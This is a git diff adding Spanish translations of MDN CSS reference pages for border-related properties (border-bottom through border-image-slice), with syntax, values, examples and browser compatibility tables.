+<pre class="eval">border-bottom: [ &lt;border-width&gt; || &lt;border-style&gt; || &lt;border-color&gt; ] | <em>inherit</em>
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;border-width&gt; </dt>
+ <dd>ver {{ Cssxref("border-bottom-width") }}.</dd>
+ <dt>&lt;border-style&gt; </dt>
+ <dd>ver {{ Cssxref("border-bottom-style") }}.</dd>
+ <dt>&lt;border-color&gt; </dt>
+ <dd>ver {{ Cssxref("border-bottom-color") }}.</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p><a href="/samples/cssref/border.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>element {
+    border-bottom-width: 1px solid #000;
+}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Si no se especifica el color del borde, este tomará el valor definido en la propiedad del {{ Cssxref("color") }} general.</p>
+
+<p>Se puede especificar los tres valores en cualquier orden y se pueden omitir una o dos.</p>
+
+<p>Como con todas las propiedades generales, <code>border-bottom</code> siempre inicia todos los valores que le pueden ser definidos aún cuando no están especificados, en este caso toma los valores por defecto.</p>
+
+<p>Lo que significa que:</p>
+
+<pre>  border-bottom-style: dotted;
+  border-bottom: thick green;</pre>
+
+<p>es idéntico a:</p>
+
+<pre>  border-bottom-style: dotted;
+  border-bottom: none thick green;</pre>
+
+<p>y el valor de {{ Cssxref("border-bottom-style") }} dado antes de <code>border-bottom</code> es ignorado.</p>
+
+<p>Como el valor por defecto de {{ Cssxref("border-bottom-style") }} es <code>none</code>, el no especificar la parte &lt;border-style&gt; en la propiedad general significa: <strong>sin borde</strong>.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#border-bottom">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-shorthand-properties">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#the-border-shorthands">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("border") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-width") }}, {{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom-color") }},</p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki Languages</span></p>
+</div>
+
+<p>{{ languages( { "de": "de/CSS/border-bottom", "en": "en/CSS/border-bottom", "fr": "fr/CSS/border-bottom", "ja": "ja/CSS/border-bottom", "pl": "pl/CSS/border-bottom" } ) }}</p>
diff --git a/files/es/web/css/border-collapse/index.html b/files/es/web/css/border-collapse/index.html
new file mode 100644
index 0000000000..a657568e91
--- /dev/null
+++ b/files/es/web/css/border-collapse/index.html
@@ -0,0 +1,98 @@
+---
+title: border-collapse
+slug: Web/CSS/border-collapse
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/border-collapse
+---
+<p>&lt;&lt; <a href="es/Gu%c3%ada_de_referencia_de_CSS">Volver</a></p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad <code>border-collapse</code> se utiliza para fusionar los bordes. Ésto tiene una gran influencia sobre la presentación y el estilo de las celdas de tabla. La representación de los bordes de tabla es dividida en dos categorías en CSS2 - "fusión" y "separación" (<small>collapsed - separated</small>). Esta propiedad especifica que modo de presentación de borde hay que usar.</p>
+
+<p>En el modelo de fusión, las celdas adyacentes comparten los mismos bordes</p>
+
+<p>En el modelo de separación, cada celda adyacente tiene su propio borde (la distancia entre cada borde es dado con la propiedad del {{ Cssxref("border-spacing", "espaciado de borde") }}).</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("separate", "separado") }}</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: Yes</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}:</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">border-collapse: value
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<ul>
+ <li><strong>inherit</strong> : Define explícitamente el valor como heredada del elemento padre.</li>
+ <li><strong>separate</strong> : Utiliza el modo de presentación de separación de borde.</li>
+ <li><strong>collapse</strong> : Utiliza el modo de presentación de fusión de borde</li>
+</ul>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p><a href="/samples/cssref/border-collapse.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>&lt;table border="1" style="border-collapse: collapse" bordercolor="#111111" width="500"&gt;
+</pre>
+
+<pre>&lt;table border="1" style="border-collapse: separate" bordercolor="#111111" width="500"&gt;
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>En el modelo de fusión, el valor del {{ Cssxref("border-style", "estilo de borde") }} de <code>inset</code> se comporta como <code>groove</code>, y <code>outset</code> como <code>ridge</code>.</p>
+
+<p>CSS 2 especifica que el valor inicial para esta propiedad es <code>collapse</code>, pero CSS 2.1 y Mozilla/Opera definen o se comportan como si el valor inicial fuera <code>separate</code>.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/tables.html#collapsing-borders">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/tables.html#borders">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>5.5</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>7</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("border-spacing") }}</p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki Languages</span></p>
+</div>
+
+<p>{{ languages( { "en": "en/CSS/border-collapse", "fr": "fr/CSS/border-collapse", "pl": "pl/CSS/border-collapse" } ) }}</p>
diff --git a/files/es/web/css/border-color/index.html b/files/es/web/css/border-color/index.html
new file mode 100644
index 0000000000..ae50c74d4d
--- /dev/null
+++ b/files/es/web/css/border-color/index.html
@@ -0,0 +1,112 @@
+---
+title: border-color
+slug: Web/CSS/border-color
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/border-color
+---
+<p>{{ PreviousNext("CSS:border", "CSS:border-style") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>la propiedad <code>border-color</code> es un atajo para definir el color de los cuatro bordes de un elemento.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: el {{ Cssxref("color") }} del elemento en sí</li>
+ <li>Se aplica a: todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Herencia") }}: no</li>
+ <li>Percentages: N/A</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculada") }}: el valor del <code>color</code> por defecto, o lo que se especificó.</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">border-color: [ &lt;color&gt; || transparent ]{1,4} | <em>inherit</em>
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;color&gt; </dt>
+ <dd>el color se puede especificar con un valor RGB hexa-decimal o regular, o con el nombre predefinido de ese color.</dd>
+</dl>
+
+<dl>
+ <dt>transparent </dt>
+ <dd>el borde no aparece pero ocupa el sitio definido.</dd>
+</dl>
+
+<p>Se pueden pasar hasta cuatro valores;</p>
+
+<p>Con <strong>un</strong> color, los cuatro lados tendrán el mismo.<br>
+ Con <strong>dos</strong> colores, los lados de arriba y abajo utilizan el primer valor y los izquierda y derecha el segundo.<br>
+ Con <strong>tres</strong> colores, el primero para arriba, el segundo para izquierda y derecha y el tercero para abajo.<br>
+ Con <strong>cuatro</strong> colores, el primero para arriba, el segundo para la derecha, el tercero para abajo y el cuarto para la izquierda.</p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p><a href="/samples/cssref/border.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>element {
+  border-width: 1px;
+  border-style: solid;
+  border-color: black;
+}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Para poder ver el/los bordes también hay que definir {{ Cssxref("border-width", "el ancho") }} con un valor positivo y {{ Cssxref("border-style", "el estilo") }} con algo visible. (<em>diferente de <code>none o hidden</code></em>)</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#border-color">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-color-properties">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#the-border-color">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidad" name="Compatibilidad">Compatibilidad</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegadores</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Extensiones_Mozilla" name="Extensiones_Mozilla">Extensiones Mozilla</h3>
+
+<p>La siguientes extensiones definen los múltiples colores de los respectivos bordes en los navegadores Gecko.</p>
+
+<ul>
+ <li>{{ Cssxref("-moz-border-bottom-colors") }}</li>
+ <li>{{ Cssxref("-moz-border-left-colors") }}</li>
+ <li>{{ Cssxref("-moz-border-right-colors") }}</li>
+ <li>{{ Cssxref("-moz-border-top-colors") }}</li>
+</ul>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("border") }}, {{ Cssxref("border-color") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-width") }}</p>
diff --git a/files/es/web/css/border-end-end-radius/index.html b/files/es/web/css/border-end-end-radius/index.html
new file mode 100644
index 0000000000..478bacb8f6
--- /dev/null
+++ b/files/es/web/css/border-end-end-radius/index.html
@@ -0,0 +1,98 @@
+---
+title: border-end-end-radius
+slug: Web/CSS/border-end-end-radius
+translation_of: Web/CSS/border-end-end-radius
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-end-end-radius</code></strong> define un radio de borde lógico en un elemento, que se asigna a un radio de borde físico que depende de los elementos {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+/* With one value the corner will be a circle */
+border-end-end-radius: 10px;
+border-end-end-radius: 1em;
+
+/* With two values the corner will be an ellipse */
+border-end-end-radius: 1em 2em;
+
+/* Global values */
+border-end-end-radius: inherit;
+border-end-end-radius: initial;
+border-end-end-radius: unset;
+</pre>
+
+<p>Por ejemplo, en un modo de escritura  <code>horizontal-tb</code>, esta propiedad corresponde a la propiedad {{CSSxRef("border-bottom-right-radius")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Indica el tamaño del radio del círculo o los ejes semi mayor y semi menor de la elipse. Como longitud absoluta, se puede expresar en cualquier unidad permitida por el tipo de datos CSS {{cssxref ("&lt;length&gt;")}}. Los porcentajes para el eje horizontal se refieren al ancho de la caja, los porcentajes para el eje vertical se refieren a la altura de la caja. Los valores negativos no son válidos.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: rebeccapurple;
+  width: 120px;
+  height: 120px;
+  border-end-end-radius: 10px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  padding: 10px;
+  background-color: #fff;
+  border-end-end-radius: 10px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-end-end-radius", "border-end-end-radius")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-end-end-radius")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>La propiedad física asignada: {{CSSxRef("border-bottom-right-radius")}}</li>
+ <li>{{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, {{CSSxRef("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-end-start-radius/index.html b/files/es/web/css/border-end-start-radius/index.html
new file mode 100644
index 0000000000..b58ce4add6
--- /dev/null
+++ b/files/es/web/css/border-end-start-radius/index.html
@@ -0,0 +1,98 @@
+---
+title: border-end-start-radius
+slug: Web/CSS/border-end-start-radius
+translation_of: Web/CSS/border-end-start-radius
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-end-start-radius</code></strong> define un radio del borde lógico en un elemento, que se asigna a un radio de borde físico que depende de los elementos {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+/* With one value the corner will be a circle */
+border-end-start-radius: 10px;
+border-end-start-radius: 1em;
+
+/* With two values the corner will be an ellipse */
+border-end-start-radius: 1em 2em;
+
+/* Global values */
+border-end-start-radius: inherit;
+border-end-start-radius: initial;
+border-end-start-radius: unset;
+</pre>
+
+<p>Por ejemplo, en un modo de escritura  <code>horizontal-tb</code>, esta propiedad corresponde a la propiedad {{CSSxRef("border-top-right-radius")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Indica el tamaño del radio del círculo o los ejes semi mayor y semi menor de la elipse. Como longitud absoluta, se puede expresar en cualquier unidad permitida por el tipo de datos CSS {{cssxref ("&lt;length&gt;")}}. Los porcentajes para el eje horizontal se refieren al ancho de la caja, los porcentajes para el eje vertical se refieren a la altura de la caja. Los valores negativos no son válidos.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: rebeccapurple;
+  width: 120px;
+  height: 120px;
+  border-end-start-radius: 10px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  padding: 10px;
+  background-color: #fff;
+  border-end-start-radius: 10px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-end-start-radius", "border-end-start-radius")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-end-start-radius")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>La propiedad física asignada: {{CSSxRef("border-top-right-radius")}}</li>
+ <li>{{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, {{CSSxRef("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-image-outset/index.html b/files/es/web/css/border-image-outset/index.html
new file mode 100644
index 0000000000..565a215775
--- /dev/null
+++ b/files/es/web/css/border-image-outset/index.html
@@ -0,0 +1,138 @@
+---
+title: border-image-outset
+slug: Web/CSS/border-image-outset
+tags:
+  - Bordes CSS
+  - CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/border-image-outset
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <strong><code>border-image-outset</code></strong> describe el monto por el cual se extenderá la imagen de borde más allá del límite de la caja.</p>
+
+<p>Las porciones de la imagen de borde que se dibujen fuera de los límites de la caja como resultado de esta propiedad no provocarán desplazamiento del contenido. Estas áreas tampoco capturarán o causarán que ocurran eventos del ratón con referencia al elemento al que pertenecen.</p>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* border-image-outset: <em>sides</em> */
+border-image-outset: 1.5;
+
+/* border-image-outset: <em>vertical</em> <em>horizontal</em> */
+border-image-outset: 1 1.2;
+
+/* border-image-outset: <em>top</em> <em>horizontal</em> <em>bottom */</em>
+border-image-outset: 30px 2 45px;
+
+/* border-image-outset: <em>top</em> <em>right</em> <em>bottom</em> <em>left */</em>
+border-image-outset: 7px 12px 14px 5px;
+
+border-image-outset: inherit;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<div class="note">
+<p>Cuando un valor se especifica como valor {{cssxref("&lt;number&gt;")}} sin unidad, el valor es multiplicado por el {{cssxref("border-width")}} calculado correspondiente, para determinar el valor de <code>border-image-outset</code>. Los valores negativos no son permitidos.</p>
+</div>
+
+<dl>
+ <dt><em>sides</em></dt>
+ <dd>Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;number&gt;")}} para la cantidad en la que se extiende la imagen de borde más allá de los límites de la caja, en las cuatro direcciones.</dd>
+ <dt><em>horizontal</em></dt>
+ <dd>Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;number&gt;")}} para la cantidad en la que se extiende la imagen de borde más allá de los límites de la caja, en sus direcciones horizontales (izquierda y derecha).</dd>
+ <dt><em>vertical</em></dt>
+ <dd>Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;number&gt;")}} para la cantidad en la que se extiende la imagen de borde más allá de los límites de la caja, en sus direcciones verticales (superior e inferior).</dd>
+ <dt><em>top</em></dt>
+ <dd>Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;number&gt;")}} para la cantidad en la que se extiende la imagen de borde más allá del límite del borde superior de la caja.</dd>
+ <dt><em>bottom</em></dt>
+ <dd>Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;number&gt;")}} para la cantidad en la que se extiende la imagen de borde más allá del límite del borde inferior de la caja.</dd>
+ <dt><em>right</em></dt>
+ <dd>Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;number&gt;")}} para la cantidad en la que se extiende la imagen de borde más allá del límite del borde derecho de la caja.</dd>
+ <dt><em>left</em></dt>
+ <dd>Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;number&gt;")}} para la cantidad en la que se extiende la imagen de borde más allá del límite del borde izquierdo de la caja.</dd>
+ <dt><code>inherit</code></dt>
+ <dd>Es una palabra clave que indica que los cuatro valores serán heredados de los valores calculados de sus elementos padre.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-image-outset', 'border-image-outset')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>15.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/border-image-repeat/index.html b/files/es/web/css/border-image-repeat/index.html
new file mode 100644
index 0000000000..14410bd1ff
--- /dev/null
+++ b/files/es/web/css/border-image-repeat/index.html
@@ -0,0 +1,123 @@
+---
+title: border-image-repeat
+slug: Web/CSS/border-image-repeat
+tags:
+  - Bordes CSS
+  - CSS
+  - Propiedades CSS
+  - Referencia
+translation_of: Web/CSS/border-image-repeat
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>border-image-repeat</code></strong> define cómo se manejará la parte media de una imagen de borde para que coincida con el tamaño del borde. Tiene sintaxis de un valor, el cual describe el comportamiento de todos los lados, y otra sintaxis de dos valores, que establece diferentes valores para el comportamiento horizontal y vertical.</p>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* border-image-repeat: <em>type</em> */
+border-image-repeat: stretch;
+
+/* border-image-repeat: <em>horizontal</em> <em>vertical</em> */
+border-image-repeat: round stretch;
+
+/* Global values */
+border-image-repeat: inherit;
+border-image-repeat: initial;
+border-image-repeat: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><em>type</em></dt>
+ <dd>Puede ser <code>stretch</code>, <code>repeat</code>, o <code>round</code>, que denotan cómo será tratada la imagen vertical y horizontalmente.</dd>
+ <dt><em>horizontal</em></dt>
+ <dd>Puede ser <code>stretch</code>, <code>repeat</code>, o <code>round</code>, denotando cómo será tratada la imagen horizontalmente.</dd>
+ <dt><em>vertical</em></dt>
+ <dd>Puede ser <code>stretch</code>, <code>repeat</code>, o <code>round</code>, denotando cómo será tratada la imagen verticalmente.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Palabra clave que indica que la imagen deberá ser estirada para cubrir el espacio entre dos bordes.</dd>
+ <dt><code>repeat</code></dt>
+ <dd>Palabra clave que indica que la imagen debe ser repetida hasta que cubra el espacio entre dos bordes.</dd>
+ <dt><code>round</code></dt>
+ <dd>Palabra clave que indica que la imagen debe ser repetida hasta que cubra el espacio entre dos bordes. Si la imagen no se ajusta después de repetirse un número íntegro de veces, la imagen es escalada para ajustarse.</dd>
+ <dt><code>space</code></dt>
+ <dd>La imagen es repetida hasta cubrir el área del elemento. Si no se cubre el área completa con un número de imágenes, el espacio extra es distribuido al rededor de éstas.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css; highlight[7]">#borderImageRepetition {
+  width: 260px;
+  height: 80px;
+  margin-bottom: 10px;
+  border: 30px solid;
+  border-image: url("https://mdn.mozillademos.org/files/4127/border.png") 27;
+  border-image-repeat: stretch; /* Puede ser modificado en el ejemplo en vivo */
+}
+</pre>
+
+<div class="hidden">
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div id="borderImageRepetition"&gt;
+&lt;/div&gt;
+&lt;select id="repetition"&gt;
+  &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+  &lt;option value="repeat"&gt;repeat&lt;/option&gt;
+  &lt;option value="round"&gt;round&lt;/option&gt;
+  &lt;option value="space"&gt;space&lt;/option&gt;
+  &lt;option value="stretch repeat"&gt;stretch repeat&lt;/option&gt;
+  &lt;option value="space round"&gt;space round&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="Contenido_JavaScript">Contenido JavaScript</h3>
+
+<pre class="brush: js">var repetition = document.getElementById("repetition");
+repetition.addEventListener("change", function (evt) {
+  document.getElementById("borderImageRepetition").style.borderImageRepeat = evt.target.value;
+});
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("Example", "330px", "180px")}}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-image-repeat', 'border-image-repeat')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{Compat("css.properties.border-image-repeat")}}</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/almanac/properties/b/border-image/">css-tricks border-image</a></li>
+</ul>
diff --git a/files/es/web/css/border-image-slice/index.html b/files/es/web/css/border-image-slice/index.html
new file mode 100644
index 0000000000..4a3c074a22
--- /dev/null
+++ b/files/es/web/css/border-image-slice/index.html
@@ -0,0 +1,159 @@
+---
+title: border-image-slice
+slug: Web/CSS/border-image-slice
+tags:
+  - Bordes CSS
+  - CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/border-image-slice
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>border-image-slice</code></strong> divide la imagen especificada por {{cssxref("border-image-source")}} en nueve regiones: las cuatro esquinas, los cuatro bordes y el espacio enmedio. Esto se hace especificando cuatro desplazamientos hacia adentro.</p>
+
+<p><a href="/files/3814/border-image-slice.png" style="float: left;"><img alt="The nine slices defined by the CSS border-image shorthand or border-image-slice longhand properties" src="/files/3814/border-image-slice.png" style="height: 132px; margin: 1px; padding: 1em; width: 250px;"></a>Cuatro valores controlan la posición de las líneas de corte. Si algunas no son especificada, se infieren de las otras, con la sintaxis común de cuatro valores de CSS.</p>
+
